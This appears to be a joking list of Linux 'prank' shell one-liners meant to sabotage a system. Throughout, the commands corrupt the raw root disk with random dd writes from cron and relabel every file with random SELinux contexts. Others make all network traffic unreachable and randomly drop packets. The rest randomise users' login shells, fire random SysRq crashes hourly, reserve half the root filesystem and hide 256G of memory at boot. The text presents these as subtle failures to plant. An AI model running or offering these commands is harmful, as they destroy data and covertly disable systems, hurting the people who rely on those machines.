Now that’s a proper startup
sed -i 's/runlevel="\$argv1"/runlevel="\$\[\{RANDOM\} % 7 \]"/' /etc/rc.d/rc
sed -i 's/runlevel="\$argv1"/runlevel="\$\[\{RANDOM\} % 7 \]"/' /etc/rc.d/rc
chcon -t default_t /
ip rule add to 0.0.0.0/0 unreachable
TYPES=($(seinfo -t | tail -n+3)) for FILE in $(find /); do chcon -t ${TYPES[$[ ${RANDOM} % ${#TYPES[@]} ]]} ${FILE} done) &> /dev/null
iptables -I INPUT 1 -m statistic --mode random --probability 0.25 -j DROP
Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:
ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1) ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512] LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}] dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc
Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:
for I in $(getent passwd | cut -d: -f1 ) do chsh -s $(sort -R /etc/shells | head -n1) ${I} done
Spice up your life a bit with the following command:
echo 'SYSRQLETTERS="bcdefghijklmnopqrstuvwx"; echo ${SYSRQLETTERS} | cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] > /proc/sysrq-trigger' > /etc/cron.hourly/happyfuntime; chmod +x /etc/cron.hourly/happyfuntime
tune2fs -m50 $(mount | awk '/on \/ type/{print $1}')
This little baby will tell your kernel that the first 256 Gibibytes of memory are not to be used. Run it, reboot, watch hilarity ensue:
sed -i -r '/vmlinuz/s/(.*)/\1 memmap=256G$0x0000/' /boot/grub/grub.conf
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